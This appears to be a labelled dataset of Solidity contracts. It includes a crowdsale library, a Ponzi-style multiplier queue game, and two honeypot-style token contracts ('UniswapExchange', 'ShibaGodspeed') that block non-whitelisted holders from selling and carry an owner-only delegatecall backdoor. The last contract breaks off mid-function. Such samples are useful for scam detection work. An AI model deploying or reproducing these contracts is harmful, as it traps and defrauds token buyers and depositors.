require(self.hasContributed[msg.sender] > 0);
if (self.leftoverWei[msg.sender] == 0) {
LogErrorMsg("Sender has no extra wei to withdraw!");
return false;
}
var total = self.leftoverWei[msg.sender];
self.leftoverWei[msg.sender] = 0;
msg.sender.transfer(total);
LogWeiWithdrawn(msg.sender, total);
return true;
}
function withdrawOwnerEth(CrowdsaleStorage storage self) returns (bool) {
if ((!crowdsaleEnded(self)) && (self.token.balanceOf(this)>0)) {
LogErrorMsg("Cannot withdraw owner ether until after the sale!");
return false;
}
require(msg.sender == self.owner);
require(self.ownerBalance > 0);
uint256 amount = self.ownerBalance;
self.ownerBalance = 0;
self.owner.transfer(amount);
LogOwnerEthWithdrawn(msg.sender,amount,"Crowdsale owner has withdrawn all funds!");
return true;
}
function changeTokenPrice(CrowdsaleStorage storage self,uint256 _newPrice) internal returns (bool) {
require(_newPrice > 0);
uint256 result;
uint256 remainder;
result = self.exchangeRate / _newPrice;
remainder = self.exchangeRate % _newPrice;
if(remainder > 0) {
self.tokensPerEth = result + 1;
} else {
self.tokensPerEth = result;
}
return true;
}
function setTokenExchangeRate(CrowdsaleStorage storage self, uint256 _exchangeRate) returns (bool) {
require(msg.sender == self.owner);
require((now > (self.startTime - 3 days)) && (now < (self.startTime)));
require(!self.rateSet);
require(self.token.balanceOf(this) > 0);
require(_exchangeRate > 0);
uint256 _capAmountInCents;
uint256 _tokenBalance;
bool err;
(err, _capAmountInCents) = self.exchangeRate.times(self.capAmount);
require(!err);
_tokenBalance = self.token.balanceOf(this);
self.withdrawTokensMap[msg.sender] = _tokenBalance;
self.startingTokenBalance = _tokenBalance;
self.tokensSet = true;
self.exchangeRate = _exchangeRate;
self.capAmount = (_capAmountInCents/_exchangeRate) + 1;
changeTokenPrice(self,self.saleData[self.milestoneTimes[0]][0]);
self.rateSet = true;
LogNoticeMsg(msg.sender,self.tokensPerEth,"Owner has sent the exchange Rate and tokens bought per ETH!");
return true;
}
function setTokens(CrowdsaleStorage storage self) returns (bool) {
require(msg.sender == self.owner);
require(!self.tokensSet);
uint256 _tokenBalance;
_tokenBalance = self.token.balanceOf(this);
self.withdrawTokensMap[msg.sender] = _tokenBalance;
self.startingTokenBalance = _tokenBalance;
self.tokensSet = true;
return true;
}
function getSaleData(CrowdsaleStorage storage self, uint256 timestamp) constant returns (uint256[3]) {
uint256[3] memory _thisData;
uint256 index;
while((index < self.milestoneTimes.length) && (self.milestoneTimes[index] < timestamp)) {
index++;
}
if(index == 0)
index++;
_thisData[0] = self.milestoneTimes[index - 1];
_thisData[1] = self.saleData[_thisData[0]][0];
_thisData[2] = self.saleData[_thisData[0]][1];
return _thisData;
}
function getTokensSold(CrowdsaleStorage storage self) constant returns (uint256) {
return self.startingTokenBalance - self.token.balanceOf(this);
}
}
contract CrowdsaleToken {
using TokenLib for TokenLib.TokenStorage;
TokenLib.TokenStorage public token;
function CrowdsaleToken(address owner,
string name,
string symbol,
uint8 decimals,
uint256 initialSupply,
bool allowMinting)
{
token.init(owner, name, symbol, decimals, initialSupply, allowMinting);
}
function name() constant returns (string) {
return token.name;
}
function symbol() constant returns (string) {
return token.symbol;
}
function decimals() constant returns (uint8) {
return token.decimals;
}
function totalSupply() constant returns (uint256) {
return token.totalSupply;
}
function initialSupply() constant returns (uint256) {
return token.INITIAL_SUPPLY;
}
function balanceOf(address who) constant returns (uint256) {
return token.balanceOf(who);
}
function allowance(address owner, address spender) constant returns (uint256) {
return token.allowance(owner, spender);
}
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
function approve(address spender, uint value) returns (bool ok) {
return token.approve(spender, value);
}
function changeOwner(address newOwner) returns (bool ok) {
return token.changeOwner(newOwner);
}
function burnToken(uint256 amount) returns (bool ok) {
return token.burnToken(amount);
}
}
library TokenLib {
using BasicMathLib for uint256;
struct TokenStorage {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string name;
string symbol;
uint256 totalSupply;
uint256 INITIAL_SUPPLY;
address owner;
uint8 decimals;
bool stillMinting;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnerChange(address from, address to);
event Burn(address indexed burner, uint256 value);
event MintingClosed(bool mintingClosed);
function init(TokenStorage storage self,
address _owner,
string _name,
string _symbol,
uint8 _decimals,
uint256 _initial_supply,
bool _allowMinting)
{
require(self.INITIAL_SUPPLY == 0);
self.name = _name;
self.symbol = _symbol;
self.totalSupply = _initial_supply;
self.INITIAL_SUPPLY = _initial_supply;
self.decimals = _decimals;
self.owner = _owner;
self.stillMinting = _allowMinting;
self.balances[_owner] = _initial_supply;
}
function transfer(TokenStorage storage self, address _to, uint256 _value) returns (bool) {
bool err;
uint256 balance;
(err,balance) = self.balances[msg.sender].minus(_value);
require(!err);
self.balances[msg.sender] = balance;
self.balances[_to] = self.balances[_to] + _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self,
address _from,
address _to,
uint256 _value)
returns (bool)
{
var _allowance = self.allowed[_from][msg.sender];
bool err;
uint256 balanceOwner;
uint256 balanceSpender;
(err,balanceOwner) = self.balances[_from].minus(_value);
require(!err);
(err,balanceSpender) = _allowance.minus(_value);
require(!err);
self.balances[_from] = balanceOwner;
self.allowed[_from][msg.sender] = balanceSpender;
self.balances[_to] = self.balances[_to] + _value;
Transfer(_from, _to, _value);
return true;
}
function balanceOf(TokenStorage storage self, address _owner) constant returns (uint256 balance) {
return self.balances[_owner];
}
function approve(TokenStorage storage self, address _spender, uint256 _value) returns (bool) {
self.allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(TokenStorage storage self, address _owner, address _spender) constant returns (uint256 remaining) {
return self.allowed[_owner][_spender];
}
function approveChange (TokenStorage storage self, address _spender, uint256 _valueChange, bool _increase)
returns (bool)
{
uint256 _newAllowed;
bool err;
if(_increase) {
(err, _newAllowed) = self.allowed[msg.sender][_spender].plus(_valueChange);
require(!err);
self.allowed[msg.sender][_spender] = _newAllowed;
} else {
if (_valueChange > self.allowed[msg.sender][_spender]) {
self.allowed[msg.sender][_spender] = 0;
} else {
_newAllowed = self.allowed[msg.sender][_spender] - _valueChange;
self.allowed[msg.sender][_spender] = _newAllowed;
}
}
Approval(msg.sender, _spender, _newAllowed);
return true;
}
function changeOwner(TokenStorage storage self, address _newOwner) returns (bool) {
require((self.owner == msg.sender) && (_newOwner > 0));
self.owner = _newOwner;
OwnerChange(msg.sender, _newOwner);
return true;
}
function mintToken(TokenStorage storage self, uint256 _amount) returns (bool) {
require((self.owner == msg.sender) && self.stillMinting);
uint256 _newAmount;
bool err;
(err, _newAmount) = self.totalSupply.plus(_amount);
require(!err);
self.totalSupply = _newAmount;
self.balances[self.owner] = self.balances[self.owner] + _amount;
Transfer(0x0, self.owner, _amount);
return true;
}
function closeMint(TokenStorage storage self) returns (bool) {
require(self.owner == msg.sender);
self.stillMinting = false;
MintingClosed(true);
return true;
}
function burnToken(TokenStorage storage self, uint256 _amount) returns (bool) {
uint256 _newBalance;
bool err;
(err, _newBalance) = self.balances[msg.sender].minus(_amount);
require(!err);
self.balances[msg.sender] = _newBalance;
self.totalSupply = self.totalSupply - _amount;
Burn(msg.sender, _amount);
Transfer(msg.sender, 0x0, _amount);
return true;
}
}
library BasicMathLib {
event Err(string typeErr);
function times(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := mul(a,b)
switch or(iszero(b), eq(div(res,b), a))
case 0 {
err := 1
res := 0
}
}
if (err)
Err("times func overflow");
}
function dividedBy(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
switch iszero(b)
case 0 {
res := div(a,b)
mstore(add(mload(0x40),0x20),res)
return(mload(0x40),0x40)
}
}
Err("tried to divide by zero");
return (true, 0);
}
function plus(uint256 a, uint256 b) constant returns (bool err, uint256 res) {
assembly{
res := add(a,b)
switch and(eq(sub(res,b), a), or(gt(res,b),eq(res,b)))
case 0 {
err := 1
res := 0
}
}
if (err)
Err("plus func overflow");
}
function minus(uint256 a, uint256 b) constant returns (bool err,uint256 res) {
assembly{
res := sub(a,b)
switch eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1)
case 0 {
err := 1
res := 0
}
}
if (err)
Err("minus func underflow");
}
} | 0 | 1,505 |
pragma solidity ^0.4.25;
contract Formula1Game {
address public support;
uint constant public PRIZE_PERCENT = 5;
uint constant public SUPPORT_PERCENT = 2;
uint constant public MAX_INVESTMENT = 0.1 ether;
uint constant public MIN_INVESTMENT = 0.01 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.01 ether;
uint constant public GAS_PRICE_MAX = 14;
uint constant public MAX_IDLE_TIME = 10 minutes;
uint constant public SIZE_TO_SAVE_INVEST = 10;
uint constant public TIME_TO_SAVE_INVEST = 5 minutes;
uint8[] MULTIPLIERS = [
125,
135,
145
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfoForPrize;
LastDepositInfo public previosDepositInfoForPrize;
uint public prizeAmount = 0;
uint public prizeStageAmount = 0;
int public stage = 0;
uint128 public lastDepositTime = 0;
mapping(address => DepositCount) public depositsMade;
constructor() public {
support = msg.sender;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function () public payable {
require(tx.gasprice <= GAS_PRICE_MAX * 1000000000);
require(gasleft() >= 250000, "We require more gas!");
checkAndUpdateStage();
if(msg.value > 0){
require(msg.value >= MIN_INVESTMENT && msg.value <= MAX_INVESTMENT);
require(lastDepositInfoForPrize.time <= now + MAX_IDLE_TIME);
require(getNextStageStartTime() >= now + MAX_IDLE_TIME + 10 minutes);
if(currentQueueSize < SIZE_TO_SAVE_INVEST){
addDeposit(msg.sender, msg.value);
} else {
addDeposit(msg.sender, msg.value);
pay();
}
} else if(msg.value == 0 && currentQueueSize > SIZE_TO_SAVE_INVEST){
withdrawPrize();
} else if(msg.value == 0){
require(currentQueueSize <= SIZE_TO_SAVE_INVEST);
require(lastDepositTime > 0 && (now - lastDepositTime) >= TIME_TO_SAVE_INVEST);
returnPays();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeStageAmount)
money = uint128(balance - prizeStageAmount);
uint128 moneyS = uint128(money*SUPPORT_PERCENT/100);
support.send(moneyS);
money -= moneyS;
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.send(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.send(money);
money -= dep.expect;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function returnPays() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
dep.depositor.send(dep.deposit);
money -= dep.deposit;
delete queue[i];
}
prizeStageAmount = 0;
proceedToNewStage(getCurrentStageByTime() + 1);
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE){
previosDepositInfoForPrize = lastDepositInfoForPrize;
lastDepositInfoForPrize = LastDepositInfo(uint128(currentQueueSize), uint128(now));
}
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
lastDepositTime = uint128(now);
prizeStageAmount += value*PRIZE_PERCENT/100;
}
function checkAndUpdateStage() private {
int _stage = getCurrentStageByTime();
require(_stage >= stage);
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
lastDepositTime = 0;
prizeAmount += prizeStageAmount;
prizeStageAmount = 0;
delete queue;
delete previosDepositInfoForPrize;
delete lastDepositInfoForPrize;
}
function withdrawPrize() private {
require(lastDepositInfoForPrize.time > 0 && lastDepositInfoForPrize.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfoForPrize.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
uint prize = balance;
if(previosDepositInfoForPrize.index > 0){
uint prizePrevios = prize*10/100;
queue[previosDepositInfoForPrize.index].depositor.transfer(prizePrevios);
prize -= prizePrevios;
}
queue[lastDepositInfoForPrize.index].depositor.send(prize);
proceedToNewStage(getCurrentStageByTime() + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 17847 * 86400 - 9 * 3600) / (24 * 60 * 60);
}
function getNextStageStartTime() public view returns (uint) {
return 17847 * 86400 + 9 * 3600 + uint((getCurrentStageByTime() + 1) * 24 * 60 * 60);
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfoForPrize.index && lastDepositInfoForPrize.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfoForPrize.index];
addr = d.depositor;
timeLeft = int(lastDepositInfoForPrize.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 1,010 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,029 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract ShibaGodspeed{
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
